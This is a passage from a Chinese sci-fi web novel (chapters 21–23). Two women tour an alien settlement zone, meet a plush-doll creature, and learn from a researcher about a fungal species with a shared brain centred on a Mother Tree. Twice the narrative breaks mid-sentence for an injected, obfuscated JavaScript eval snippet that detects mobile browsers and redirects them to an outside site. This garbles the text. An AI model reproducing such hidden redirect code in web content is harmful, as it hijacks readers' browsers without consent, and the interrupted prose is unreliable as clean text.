“不使用【空间跃迁】去转移TA们,是因为【跃迁】是【厄斯星】的核心技术,其中包括着【厄斯星】对时空的所有研究,尤其是磁场的强感应值与强度值的变化频率都是都是和【跃迁】有关系的,我们的脑机目前也只能做到连接【厄斯星人】的大脑获取记忆,对于外来物种是做不到的。没有办法判断TA们是否掌握着时空穿梭的技术,如果使用【跃迁】,不排除被TA们偷盗【跃迁】技术的可能,到时候可能会造成不可控的后果。” 李唯一忽然说了一大串话。 李乐生听的一愣一愣的,两个人对视许久,直至李乐生的大脑将这些话彻底消化。 “为什么突然说这个?”李乐生没忍住问。 李唯一:“你刚刚问的。” 啊,对了。 刚刚聊偏题了。 她都忘了自己原来一开始问的是这个。 21. 第 21 章 李乐生觉得这趟【异常者安定区】来的可太值了。 她甚至觉得这趟穿越都是一件好事。 放在原来的世界里,她上哪见到这么多千奇百怪的外星人,又该上哪里去学习这些外形物种的社会文化呢? 根本没有机会。 说不准到她老死的那天自家星球的宇宙探索事业都不一定能够观测到真正的外星人呢。 她跟在李唯一的身后,心中还在反复咀嚼消化着方才见到的诸多奇异物种,一路上也会有负责监管此地的常驻治安官们向她们二人打招呼。 “树菌种族的繁衍区到了。”李唯一停下来。 “好像有人在跟着我们哎。”二人同时开口。 两个人对视一眼,李唯一便抬眼看向了来时的那条路,在道路右侧的【扭蛋机】后面,正躲着一个毛茸茸的、四肢都很粗壮的【布偶人】。 那个【布偶人】的身形偏肥胖些,两只厚实的圆形耳朵完美的变成了【扭蛋机】的装饰品。 它藏得实在是不怎么隐蔽。 “它和其他的【布偶人】不一样,对我们十分热情,经常会缠着基地里的其他治安官陪它玩。”李唯一一眼就认出来了这个【布偶人】,是那群【布偶人】里最特殊的一个。 十分活泼好动。 【布偶人】其实很多都是一个模子刻出来的,就像那些流水线出厂的毛绒玩具,将同种类的【布偶人】放在一起,不管大家动了没动,如果没有特定的装饰的话,基本很难被区分出来。 甚至于,DNA检测装置都无法正确识别。 它们实在是一个十分离谱的种族,【粉熊布偶人】们共用一套DNA,【棕熊布偶人】们也是共用一套DNA,【兔子布偶人】自然也是一样的。 而它们又很统一的不会说话,连发声的器官都没有,更不分性别,对【治安官】们来说,辨别这些会活动的【布偶人】实在不是一件易事。 但唯有这个过于活泼的、黏人的【布偶人】很不同。 “蓬蓬。”李唯一对那个躲藏的地方喊了喊。 躲着的【粉熊布偶人】竟然还缩小了身体。 可惜依旧没什么用。 “我们看到你了,不用躲了。”李唯一说道。 叫做【蓬蓬】的粉熊布偶人这才不情愿的挪动自己的两条又粗又圆的柱子腿。站在了马路上。 “这位是我的妻子,你要和她认识一下吗?”李唯一冲蓬蓬介绍着李乐生。 “是你们给它起的名字吗?”李乐生先是朝蓬蓬挥挥手笑了一下,又回头问李唯一。 李唯一点头,“纳德起的,他很喜欢蓬松的东西,听他说蓬蓬抱起来就很蓬松,又软又绵也很Q弹,所以他起了【蓬蓬】这个名字。” “不过……所有的【粉熊布偶人】现在都对这个名字有反应。” “啊?”李乐生有些惊讶的看着蓬蓬,那只几乎和她差不多个子的粉熊正蹦蹦跳跳的朝她们俩人跑过来。 “它们的构造很奇怪,连基因链都与其他生物不同。虽然无害且很讨人喜欢,但对于我们的外星物种研究所来说,这个最没有攻击力、亲和力极高的群体,却是很棘手的。” “到现在我们的技术还完全没办法解析出来,【布偶人】到底是如何思考的,也没有弄清楚它们身体的活动逻辑。” 李唯一解释道。 不过她看起来倒没有多头疼,脸上更看不到棘手二字。 毕竟她不是研究所的。 而且她对于大部分外星物种的身体研究其实并不感兴趣,在她看来,每个星球的生物活动都是不同的,特定环境下自然会演化出特定的基因,一切都是宇宙规律的自然发展。 无论是【古厄斯星人】,还是现在的【厄斯星】,都是在宇宙规律允许的范围内活动,对外星物种的研究成功与否也属于自然规律发展的一部分。 如果宇宙真的要他们死,那么努力到头也是死。 就如【异能者】的出现,也是宇宙规律给予【厄斯星】的发展。 蓬蓬跑到了二人面前,好奇的围着李乐生打量。 它的那双黑色的圆溜溜的塑料感极强的眼珠子上倒映着李乐生的身影,两只圆滚滚的柱子形的手搓了搓,又抬头看向李唯一。 紧接着晃晃脑袋,那两个圆圆的粉色耳朵也在跟着晃动。 “它在干什么?”李乐生问道。 李唯一有些抱歉的看着李乐生,摇头,“我也不太清楚。” “我和它相处的过程并不多,一般是纳德和它玩。” 这话说的太委婉了,她对这个热情黏人的【布偶人】基本上每次碰到了就是单方面冷暴力。 朝对方打一个招呼,也不等这个【玩偶人】有什么反应,便转头进行工作,一直到工作结束,都将对方无视到底。 唯有纳德陪着失落的蓬蓬玩。 蓬蓬又围着李乐生转了一圈,圆柱手又放在一起搓了搓。 李乐生再次求助的看向李唯一。 李唯一:“抱歉。我在问了。” 手环悬浮框上正是纳德的ID数字,此时纳德的声音响起,“队长?有什么事吗?” 李唯一看着蓬蓬,似乎是听到了纳德的声音,蓬蓬很激动的在原地小跳了好几下,随后身体左右摇摆着,像个不倒翁似的。 这个不用猜,应该是很开心的意思。 “我们遇到了蓬蓬,它一直围着乐生转圈,随后会搓搓自己的手,这是什么意思?”李唯一开门见山。 手环那头沉默了一瞬,随后二人听到了并不清晰的笑声,应该是另外两个队员的。 纳德清了清嗓子,“它是想和你哦不,队长你经常冷暴力它,它已经不喜欢你了,它是想和乐生小姐握手呢。” 李乐生听出了纳德语气里的幸灾乐祸。 “好,知道了。”李唯一说罢迅速挂掉。 紧接着看向李乐生,使了个眼神。 李乐生面对着蓬蓬,伸出自己的右手,咧开嘴笑道,“你好蓬蓬,我是李乐生。” “很高兴见到你。” 蓬蓬伸出其中一只圆柱状的手,靠在了李乐生的掌心。 李乐生无师自通,轻轻捏住它没有手指的那只手,触感真的和玩偶一模一样,有一种蓬松的棉绒感。 随后上下晃了晃,又放开。 却见蓬蓬愣愣的站在了原地,连手都没有收回去。 李乐生见状有些担心,看向李唯一,“它怎么了?” 李唯一情绪淡淡,“它们经常会突然呆着不动,不用担心。” “走吧,还没去看看【树菌族】呢。”李唯一敲了敲身旁的隔离墙,继续说,“它们可是十分智慧的外星种族,拥有着【厄斯星人】梦寐以求的社会组织。” 李乐生看向隔离区内,看到的是与之前所见到的任何种族都不一样的景色。 入目之处感受到的便是【生机】。 参天古木葱葱郁郁拔地而起,湿润的黑色土壤上覆盖着密密麻麻的白色脉络,既有新鲜的沾满了水滴的落叶散布在脉络之间,亦有腐烂的黑色叶子被土壤吞噬。 她看到那些茂密的树冠交织簇拥,遮天蔽日,让被笼罩在树荫下的空间呈现着潮湿的气氛。 偏偏在这种遮天蔽日般的空间里,那些树木的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931149|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干上又长着大小不一的层层菌类,有半圆状手掌般大的,亦有手指头那般长的小蘑菇,雾气缭绕中隐约可以见到头冠很大、直达膝盖高度的大型蘑菇……各类树菌菇类,形状颜色,数不胜数。 在森林深处,还能看到慢频的、偶尔闪烁的范围性光斑,仅隔着这层玻璃墙,便让人觉得神秘原始,心生向往的同时又有几分畏惧。 李乐生抬头,看到的是高的过分的穹顶。 “TA们的隔离区是最大的了吧?”她问。 其实心中已经有了答案。 李唯一点头,“是的,也是我们最重视的,【树菌族】所产出的很多东西对我们的社会都很有用,是我们的重点合作对象。” “合作?”李乐生捕捉到了这个词。 “要进去看看吗?”李唯一提出了邀请。 李乐生被吓了一跳,“可以进去?” 她有些惊喜。 之前那些隔离区李唯一都没说过让她进去的哎。 李唯一笑着点头,“当然可以,除了【布偶族】这种不需要隔离区的无害【异常】外,所有的群居【异常】里,只有【树菌族】是被【诺城】允许和居民进行接触的【异常】。” “为什么?”李乐生问。 李唯一正对着隔离区的门输入请示,但依旧没忘记回答李乐生的问题,“TA们的智慧凌驾于整个【安定区】,长久以来,一直都在和我们合作寻求【出去】的方法。” “在整个宇宙中,目前而言,【树菌族】应该是我们已知的外星生物里最长寿的物种。” 李乐生觉得信息量有点超前,“TA们难道还要比你们聪明?” 指示发出,李唯一等待着隔离区内的负责人开门接待。 “是的,它们的社会组织很庞大,而且几乎所有的活动都用来维持思考,就连生长繁殖都是为了思考和计算,这里有树菌族数以万计的族类,但也只有一个树菌族人。” “这又是什么意思?”李乐生确实没有听懂,为什么数以万计又等于一。 “TA们使用的是共脑思考,但是又分为主脑和分脑。啊,来了。”李唯一说到一半,忽然转口,她的目光落在了雾气中的身影那处。 李乐生的眼睛也从她身上移开,转向隔离墙内,随即看到一个穿着黑色紧身制服的女人从雾气中跑了出来。 女人腰间两侧分别挂着两个物资包,不知道装了些什么,反正鼓鼓囊囊的。 她的一头长发随手扎在脑后,有些歪了,黑色的护目镜将她的目光彻底隔绝,别人根本看不清眼睛是什么样。 “她是?”李乐生问。 “谢春花,【树菌族隔离区】的常驻人员,是医疗治安官里研究院的前院长,现在主要负责和【树菌族】的交流与研究。”李唯一解释道。 “好牛!”李乐生甚是钦佩的看着女人。 她一向对于这些具有冒险精神的研究员、地质学者等等,很是尊重。 隔离区的门被打开,谢春花站在里面朝二人做了个手掌内扣的动作。 李唯一带着李乐生走了进去。 进去后,身后的门关闭,二人站在原地,李乐生注意到头顶有紫光闪烁,随后紫色的光线对二人的身体进行了三次扫描。 紧接着第二道门打开。 李乐生闻到了那股专属于森林的,潮湿的味道。 是枯木被真菌分解后的木质素降解的味道,是自然分泌且累月堆积的树脂的味道,还有脱离了工业排放的植物呼吸吐出的气体与雨水混合在一起的细密的分子活动的味道。 谢春花站在内门旁,对她们说道,“可以进来了。” 22. 第 22 章 【树菌族】的生活环境离不开“潮湿”二字。 踏入内门的一刹那,扑面而来的便是湿润的空气分子。 脚下的泥土踩着都有一种厚重又柔软的触感。 “好久不见了,李队长。”谢春花将墨镜摘下来,戴在了头上,露出了那双狭长的桃花眼。 她展露出来的那张客套的浅笑,因为这双好看的眸子,硬生生多了几分缱绻之意。 “这位是……”谢春花的眼睛移到李乐生身上。 李乐生有一瞬间的呼吸暂停,但还是赶紧抬手挥动两下,“您好,我是李乐生,很荣幸见到您。” 敬语都用上了。 她本身就有点学历崇拜,兴许是自幼就喜欢读书,再加上生长的环境里都很强调读书的重要性,李乐生对于这种科技大牛都十分敬重。 尤其是当这位科技大牛是位女性的时候。 【厄斯星】的社会中对于男女性别的歧视几乎可以说没有,位居高官的领导人或是众多学术领域的大神里女性的身影随处可见。 但李乐生的原世界里,两性之间的资源分配倾斜给她带来的影响过于根深蒂固。 她对于谢春花的崇敬中很难剥夺出自身环境的局限性。 “好久不见,谢院长。”李唯一看到了身边女人的眼神,雀跃憧憬。 “她是我的伴侣。” 谢春花听后“哦”了一声,扬着下巴,做思考状,眼睛转了一圈,再次看向李唯一,“实在抱歉,一直在和【母树】交流,我已经很久没有和外界联系了。” “一点儿都不知道李队长您竟然有伴侣了。” 李唯一不在意地笑了笑,“这没什么好道歉的,谢院长的工作关乎着整个星球的未来存亡,您将自己的所有时间都贡献于此,【厄斯星】的每一个人都很感谢您的团队。” “事实上,这次惊动您亲自出来,倒是我深感抱歉。”李唯一说罢,右手贴于胸前,点头微躬。 身边的李乐生立马跟着做出了同样的礼节。 只是稍显仓皇。 谢春花:“……李队长耐心了许多。” 短暂的沉默后,谢春花声音带笑,感慨了一句。 李唯一抬头,没有说话,仍是微笑。 算是默认了谢春花的评价。 “乐生对于这些【树菌族】很有兴趣,我会带她小心参观,谢院长您继续忙吧。”李唯一说。 在李乐生准备和谢春花说再见的时候,女人却提出了陪同的想法—— “我虽然很热爱这份事业,但偶尔也是会偷个懒的。” 谢春花笑起来,那排洁白好看的牙齿令她整个人都多了份张扬果敢的美,“正是因为在研究室里知道是李队长来拜访【树菌族】,所以我才亲自出来为你开门的。” 她的眼睛再次落在李乐生身上,李乐生原本面无表情地脸上立马换上一副淡淡的笑容。 “我不否认李队长的博学,但您常年于前线战斗,对于【树菌族】的研究,恐怕远不如我深刻吧。” 李唯一点头,她并不是个自谦的人,但对于很多客观事实她也不否认。 “有气泡声。”李乐生听到了一种类似于深潭中的鱼儿吐出的气泡在水面上一一爆开的声音。 那些声音层层叠叠,倒形成了一股独特的自然音律。 “是沼菌们,TA们心情愉悦、认真工作的时候,根部会释放出气体,在泥沼中形成气泡,并浮出水面爆开。”谢春花立马回答,并带着两人转向右边。 几个人拿手拨开那些粗大的能包裹住上半身的厚叶,看到了一片泥沼,泥沼中央正“咕噜咕噜”的冒着泡,一排排可以盖过鞋面的紫色蘑菇围着泥沼岸边生长,将整个泥沼包围。 TA们拥挤着,光滑的、纹路细密的头冠还在缓慢的收缩舒展。 李乐生注意到,对岸的那圈沼菌们,自TA们的根部,有无数的丝状脉络伸入了泥沼下方。 “TA们的呼吸器?”李乐生抬手,指着那些脉络。 之前没进来时,她也注意到了森林地表有不少类似的、粗细不一的白色脉络,像一张张错综复杂的网似的。 “和我刚刚见到的那些附于地表的有什么不同吗?”李乐生问道。 “这些脉络的共同点是,连接彼此,传递信息。”谢春花说道,“它们有一个专业名词——【菌链】。” “但是沼菌的【菌链】还承担着呼吸作用,每个沼菌至少有两条【菌链】,一条是用来连接【母树】和其他【子菌】的,主要用来传递信息,而另一条则是用来呼吸。” “沼菌只能在以35%到70%为含水量区间内的液态沼泽中生存,其中的泥土既可以维持TA们所需要的湿度和营养,同时也能助于TA们的【呼吸菌链】向外、向深探索,最终扎根于更深的固态泥沼中。” 谢春花毫无保留地将沼菌的生存和菌链构造表述出来。 说完后,却见李乐生沉默着,目光将落未落的,不知在想什么。 “她需要一些时间消化。”李唯一解释道。 谢春花挑眉,抬了抬眼皮,表示理解。 她的眼睛却很有深意的,以一种戏弄的探究的眼神,停在李唯一的身上。 李唯一自然能感知到谢春花的目光,她抬起那双情绪淡漠的眸子,与女人对视。 轻轻歪头。 似是在问:有什么事吗? 对味儿了。谢春花心想。 这个A组的治安队长往日因公来往的时候,可都是这副淡漠疏离的样子,笑容都没到过眼底。 说的话更是少之又少。 虽然说李唯一不是那种目中无人的冷面冰山,她这个人该遵守的礼节还是有的,但除非必要的工作所需,基本是不与他人交谈的。 有人和她攀谈,她有问必答,但往往用的都是短句,甚至是一个词。 绝不会主动开启第二句话继续聊天。 谢春花本人也并非那种善于攀谈的人,她虽然脾气好,也很健谈,但她最喜欢的是研究。 研究外星生物的语言、身体和TA们的生活习惯。 只是李唯一在治安官中实在是个很有名气且很特殊的人,她的才能让一众治安官望尘莫及。 无论是战斗还是医疗,她的异能都十分契合,当初基地直接选拔李唯一成为治安员的时候,还召集过治安部的各个部门领导开会讨论。 高层们聚在一起集体阅读了李唯一的个人资料,便争先恐后的抢人。 尤其是最主要的三大部门,几个领导们争论不变,相互列举着自己部门能给李唯一带来什么,能让李唯一发挥多大的价值。 彼时的谢春花自然也是其中一员,她倒是没参与讨论,研究院属于医院的小分院,她旁边还坐着总院长呢。 最终李唯一这个香饽饽还是落在了执法队里。 连谢春花当时都觉得可惜。 那次会议之后很久,谢春花都没有正式的同这位前无古人的天之骄子见面。 她在治安基地那会儿,基本每天都是【异常者安定区】和【治安基地】两头跑,为的是采集样本并带回实验室研究。 因为她当时还没有被正式批准进入【树菌族繁衍区】进行常驻研究, 有【跃迁系统】,其实并不算很累,但确实很麻烦,而且观察的数据也存在一定的差异。 因为【树菌族】的生存环境十分苛刻,TA们虽然是高智慧种族,但是没有什么攻击力,生态系统虽然发展的很细致,但也很脆弱。 单体的菌种一旦离开【树菌族繁衍区】,基本的存活时间不会超过半小时,而在这半小时内,TA们也一直在衰败。 所以这种分离环境的实验和研究,其实并不精准,也没什么用。 谢春花就是在这种研究项目一筹莫展的情况下,和李唯一正式的见了一面。 那天她少有的离开了医疗部,在偌大的治安基地内闲逛,直到天黑了还在训练场上一圈又一圈的走动着。 周围的那些同僚们看得出来她心情不好,以为她是在为研究的事苦恼,所以都识趣的没有打扰她。 说真的,也确实是为了研究,只是和平时不一样,平时是因为研究卡进度了让她觉得很有挑战性,而这次是研究的环境根本不合格让她很有挫败感。 李唯一这个一向只在她耳边响起的人物,那天就出现在她面前了。 “你好,谢院长。”她正双手插兜踢着训练场观众席的墙壁,颇有种无所事事的味道。 就听到了身边有人说话,称呼她。 声音平淡,根本听不出任何情绪。 谢春花转头,看到的是站姿笔直、身形端庄的A组新任的队长。 女人的白色短发在白色的灯光下泛着一层更浅的、更柔和的白色光晕,偏又有一些发丝在风中舞动时会有流光随之移动。 她正面对着灯光,白皙的皮肤因那光的照耀,像极了白瓷。 尤其是睫毛的影子,在白瓷上仿若画好的景致。 李唯一本人,远比照片、视频里要俊秀太多了。 饶是谢春花这种不注重美貌的人,在看到李唯一的时候,也会下意识地偷出一丁点儿功夫,去观察对方的模样。 “李……队长?”好在谢春花没有愣神太久,她连忙回应对方。 却不知道对方为何会突然来找她。 她们二人之间,根本都没见过面。 “【联邦政府】批准了你的申请,这是你们的【绝密档案】。”李唯一递过来一个DNA识别档案板。 谢春花刚刚光顾着看脸了,甚至没注意到她手里的东西。 但听到“批准”二字,她的所有重心全放在了档案上。 “批准了!?是【树菌族繁衍区常驻研究项目组】的计划吗?”谢春花激动的声音语调都拔高了。 “是的。” 女人连忙接过,当她的手指触及到那黑色的档案板时,有一道道白光在档案板屏幕上闪烁,随后上面出现了两行白字—— 【是否识别DNA锁】 【是】【否】 谢春花连忙就要点击【是】的选项。 “谢院长,这是绝密档案,请您【跃迁】至研究所。”李唯一的声音打断了她的动作。 谢春花立马停手,她太激动了,都忘记了【绝密档案】的规则。 连忙道谢后,启动手环的【跃迁】权限,瞬间消失在训练场。 甚至都没有询问李唯一为什么会把这种东西带回来。 毕竟二人都不是一个部门的。 此后再见李唯一,她已经变成【树菌族繁衍区常驻研究项目组】的组长了,二人倒是碰面的机会比在【治安基地】那会儿多多了。 执法治安队的各组队长是要定期来【异常者安定区】巡查并进入【树菌族繁衍区】的研究组中学习的,李唯一自然也在其中。 谢春花便是这些治安队长的临时讲师。 其他队长遇到谢春花后,大家都会聊聊天,不外乎是“每次来都有点醉氧。”“谢院长又多了个蘑菇朋友?”“TA们现在有没有人会说咱们的【星球语】?”……等这类玩笑话。 虽说没什么大营养,但是在这种【菌林】待久了,每月一日的学习对于谢春花她们而言,倒像是聚会了。 她这个并不喜欢聚众聊天的人,也会享受一下和许久不见的朋友们闲聊的时光。 唯有李唯一,是个例外。 她打完招呼后便安静的待在一旁。 有时是森林里,在学习会开始前回到屋子里,有时便是屋子里找把椅子坐着或是站在窗前看着外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935049|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面不知在想什么。 从不主动凑到大家的话题里。 只会被动的回答或回应别人。 少数的主动开口,也是询问【树菌族】的相关研究,或是接到了上层的消息通知别人。 在谢春花的印象中,李唯一这个人在社交方面就是个人形空气。 她站在你旁边,不会让气氛有所不适,但也绝对不会让气氛活跃起来。 回忆起以前社交场合的李唯一,谢春花认为这人完全就是个背景板。 哪像今天,那么耐心,那么活跃。 “谢院长,那你们所说的【母树】又是什么?还有【子菌】。”李乐生的话将谢春花从回忆里拉出来,女人又想起之前的问题,“对了,李唯一也说过,它们有【共脑】,具体又是怎么表现的呢?” 这话完全就问到谢春花的心上了。 要知道她所在的研究组主要研究的就是树菌族的信息交流,而TA们的交流方式离不开【母树】和【子菌】这两个菌种。 谢春花立马就来劲了。 “干巴巴的讲实在是没意思,我带你去见TA们。”谢春花笑得尤为慈祥。 李唯一自觉的往旁边走了两步,让李乐生跟在了谢春花的身边。 她则跟在二人后面,配合着两人的步伐前行,那双眼睛时不时的落在雀跃的李乐生身上。 “你看,这种呢叫做【软冻菌】,TA们的身体在感知到危险的一瞬间,就会化作一团吸附力极强的粘稠固态物。”谢春花指着一棵树上长了一排的椭圆花瓣状的黑色菌种说道。 “像鼻涕一样,但比鼻涕硬。” 李乐生听到这个形容:…… 但是脸上还是乖巧的“嗯嗯”一声。 对方领着她继续网深处走,裤子与草丛、树叶摩擦的声音,还有鞋子踩在湿润土壤上的触感在这静谧幽深的潮湿菌林中,显得尤为助眠。 “这也是其中一条【菌链】,地表上这种白色的菌链有粗有细,它们就像是蛛网一样,看似错综杂乱,实则相互都有连接。”在几人要抬高膝盖迈过一条小腿粗的白色湿木的时候,谢春花指着它开了口。 李乐生停下脚步,迟疑了瞬间,便观察起了横在自己腿前的粗壮【菌链】。 “地表上的【菌链系统】只是微乎其微,在这片繁衍区的地下,还有更多的菌链,更复杂的【菌链系统】,如果你看到我们的【扫描图】,你绝对会头大的。”谢春花侃侃而谈,对于一个爱学习的人,她是十分乐于传授自己的知识的。 而李乐生这个认真学习的学生,完美满足了她的传授欲望。 天知道,在整个治安基地内,想找到李乐生这种爱思考爱提问还乖巧的学生有多难,大部分治安官都更喜欢格斗训练,遇到她们这种“枯燥”的研究,听过之后就没了。 李唯一虽然会提问,但她是个天才,天才发问的次数可太少了。 “它们是不是有类似人体一样的细胞物质,在运动?”李乐生问,“我指的是,像血管里的血?” 她不知道是不是看花眼了,或者是自己的错觉,她总觉得能够看到这根白色【菌链】的表层下,好像有什么东西在流动。 明明就是和植物根部没什么区别的硬物。 但是她的耳朵里好像能听到什么声音。 不是那些沼菌呼吸时吐出的气泡。 就像是水管里的水高速流动,高压电线上的电流疯狂运输,与这种声音的频率类似,但是又形容不出来。 她结合着之前听到的那些知识,继续问,“这些【菌链】中运动的‘血’,是不是你们所说的信息呢?” 谢春花双手一拍,“没错!就是这样。” “你可以把这些【菌链】看成是【血管】,它们的【血】就是顺着【菌链】传送的信息。” “而这些信息最终都会流向一个位置,那就是【母树】。” 谢春花迈动步子,引领着李乐生,“【树菌族】共用一个【脑子】,这就是【共脑】。” “当第一个【树菌族人】的孢子落地生长,TA就是母树,也承担着【思考】的重任。之后,TA的【菌链】会开始像四周蔓延,【菌链】蔓延到的环境中会长出更多的【树菌族人】,那些【树菌族人】就是【子菌】。” “【子菌】会继续向外扩散,但由TA们的【菌链】所生长出来的【菌种】们,依旧是和它们同级的【子菌】,只要【菌链】不断,TA们就永远只有那一个【母树】。” “【母树】可以接受到所有【子菌】的信息,也能向每个【子菌】传送消息。【子菌】的寿命将近之时,会讲自己的所有营养输送给【母树】或其他【子菌】,以保证【母树】的寿命与生长。” 谢春花嘴上不停,脚下也没停,大段的信息灌进李乐生的脑子里。 她甚至来不及回应和互动,谢春花一口气说的实在太多,她还在咀嚼,试图理解那些信息。 “我们到了!”三人沉默的走了一段,谢春花亢奋的声音再次响起来。 李乐生此时也将那些知识消化的差不多了。 她看到谢春花笑得甚是灿烂,顺着谢春花的眼睛,看到了五米外的地方,长者的一具形状奇异、巨大无比的树菌。 “【母树】?”李乐生直觉猜测。 “答对咯!”谢春花做了个手枪指向她的动作,夸奖性的说道。 “TA便是整个【繁衍区】内的母树,如今已有三十万元年甚至更高的岁数啦。”谢春花像是介绍老朋友一样,介绍着身后的【母树】,“是位很慈祥、很智慧也很友好的【树菌族人】哦,因为TA的指令,所以这片【繁衍区】内的其他【子菌】不会伤害我们。” “【母树】对【子菌】拥有绝对的指令啊。”李乐生感慨道。 谢春花叉腰点头。 23. 第 23 章 这是李乐生第一次见到这般巨大的植物。 至少以她的认知,这些【树菌族】的外在形象,确实是植物。 只不过与地球上的不同,按照谢春花的话,这些“植物”是能够与人类交流的。 不过具体是如何交流的,谢春花没说。 巨大的【母树】即便是她仰着脖子,都望不到顶,TA的身躯仅从【腰部】而看,至少要五十多个成年人的手臂才能合抱。 占地面积更大的根部,李乐生清清楚楚的看到那些粗壮的【菌链】,有的甚至有成人腰般粗壮,裸漏在空气中的肉眼能见到较细的【菌链】也和她的手腕粗细差不多。 奶白色的、坚硬的【菌链】,与她们最初进入繁衍区时,见到的那些【子菌】的【菌链】完全不同。 【母树】的【菌链】要更强壮,甚至在微弱的……蠕动。 它们蠕动、隆起又落下,这样的速度让李乐生想起了人类的胸脯,人在呼吸的时候,胸脯的起伏也是如此。 起伏的【菌链】们撬动着它们的周围的、覆盖着的那些黑色的湿土。 “TA好高好大……”李乐生的眼睛近乎痴迷的盯着面前的【母树】。 对于这种巨型物质,她一直都是有些畏惧的。 就像以往下班时,穿梭在车水马龙的街道上时,当她抬头,望见的首先是那些高楼大厦时,心底总会升出一种悲凉与畏惧。 白日的蓝天在那些高耸建筑的遮挡下显得那么拥挤,漆黑的夜晚则被城市中闪烁的强光覆盖。 她在这种城市中生活,觉得自己像一只苍蝇。 而当回归自然的时候,她曾有一次在远离城市的乡野见到了一颗大槐树。 那颗槐树很粗,比不上眼前的【母树】,但是也要四个成年人伸长了胳膊才能勉强合抱,在她过往所见的树木中已经算是很大的了。 中空的枝干似乎在告诉她,这棵槐树已经死了。 可是满树的茂密的大拇指大小的绿叶告诉她,这颗槐树仍然活着。 她的脚下所采的土地,掩埋着那颗槐树顽强的生命之根。 她当时想,好大的树啊。 大的她有些害怕。 这么大的一棵树,经历过雷击,主干已空,仍然活着,漂亮又坚强。 可她却活得一点都不坚强,整日都在想死和畏惧死的界限中喘着气。 她畏惧这种厚重、巨大的生命,见到它们,会让她对自己的人生产生愧疚。 而眼前的【母树】却不一样,给人一种很奇妙的感觉。 明明李乐生没有见到任何魔法般的变化,但是面对着这颗【母树】,她的心中却是向往与享受,如同一个刚出生的婴儿本能的想要靠近母亲,她对这颗【母树】产生了依恋。 【母树】的树冠如同散开的珊瑚,从底下向上望去,就像是一朵覆盖着大地的镂空立体的红色花朵。 李乐生的脖颈因这长久的仰望而泛起了酸感,但在那些奇异的“花朵冠枝”中,她看到了变化。 是光。 在那些珊瑚状的树冠枝条内,红色的表皮下,有光粒子在流动。 虽然很微弱,但无数个枝条的光粒子一起流动,便很明显。 “那些光粒子是什么?”李乐生指着树冠问。 谢春花看了眼头顶,缓缓解释,“是TA们的语言。” “【树菌族】与我们【厄斯星人】不同,TA们的语言也是能量和血液。” 谢春花“嗯——”了一声,转换了一下思维,用更简单方便的话拓展,“TA们会把吸收的养分转化成你口中的光粒子,这些光粒子顺着TA们的菌链回到【母树】身上,在【母树】体内流动,补充给【母树】存活的能量,同时也是传递给【母树】的信息,以及TA们的语言。” 李乐生这下听懂了。 在树菌族中,传递的语言就是生命的能量。 而进食的【菌链】同样也是说话的工具。 “那你们怎么和TA们对话呢?”李乐生又产生了疑惑。 谢春花说她的工作就是与【母树】还有一些【子菌】交流,但到底是怎么交流的呢? 观察TA们的生长轨迹,然后破译生长符号? 那这些光粒子得破译到什么时候啊?密密麻麻的。 “【母树】相比很多【子菌】,可是一位极厉害的智慧体哦。”谢春花谈到此时,神情中带有一丝倾慕,“TA有【嘴巴】,只是和我们人类的嘴巴不同。” “看到那些血红色的树冠了吗?你有没有觉得TA们很像活物。” 李乐生再次抬头,望着那缠绕着又根根分明的树冠,血红色的表皮下,规则、速度不一的光粒子正在飞速流转。 正在此时,有一根枝条忽然落了下来。 不对,应该是,有意识的,很缓慢的朝她的方向伸了过来。 李乐生吓得连忙要后退。 肩膀上却落下来一只手,轻轻挡住了她的动作。 是一直默默陪在一旁没有发过言的李唯一。 女人这时候却低下头,贴耳轻语,“别怕,【母树】想要和你交流。” “TA的交流方式,便是伸出自己的枝节,来触碰你,和你的大脑直接对话。” 李唯一轻声将【母树】的行为解释清楚,而那血红色的手指粗的枝节此刻正停在李乐生的面前,似乎是在等待李乐生的同意。 听完李唯一的话,李乐生的怯意才散去,“我知道了。” “那我要和它握手吗?”她依旧转头看着李唯一,不确定的问道。 额,似乎对方这个不是手。 总之李唯一能明白她的话就行。 类似于藤蔓般的触条就飘在她面前,她有些手足无措。 “你可以握住试试,会有意想不到的事情哦,TA们的交流很有意思,你的大脑会得到很多消息,简直像在脑子里看电影似的……”谢春花说的滔滔不绝,之后的话李乐生已经听不见了。 她的手指轻轻的触碰到了那根触条。 好凉。这是李乐生的第一反应。 然而再次眨眼,她的周身陷入一种空洞的寂静,紧接着便是五感的虚无。 她听不到任何东西,也没有任何的触觉,温度,声音,身体的触感,全都没有了。 李乐生甚至觉得自己似乎连呼吸都感知不到。 那片虚无占据了她的双眼,她看不见任何东西。 可是却没有半点恐惧。 突然,她听到了一声轻语,很远却又很近,“Mi……s…” 这是那声轻语的音调,她无法判断到底是什么意思。 随后,她的视力恢复了。 而出现在她面前的,并非【母树】。 是一片星球。 是的,一片。 她飘落在无边无际的宇宙之中,左顾右盼,看到的是发光的星云和各种星体,还有流动在远处的不知为何物的颜色各异的光。 而在她的眼前,首先是一颗入目后最大的星球。 她看到了一颗【母树】,比在【异常者安定区】见到那颗还要大。 眼前的这颗【母树】甚至覆盖了半个星球,就矗立在那里,TA的树冠甚至要比周围的一些星球还要大。 更浓烈的、明显的能量在她的树冠上流动,鼓动。 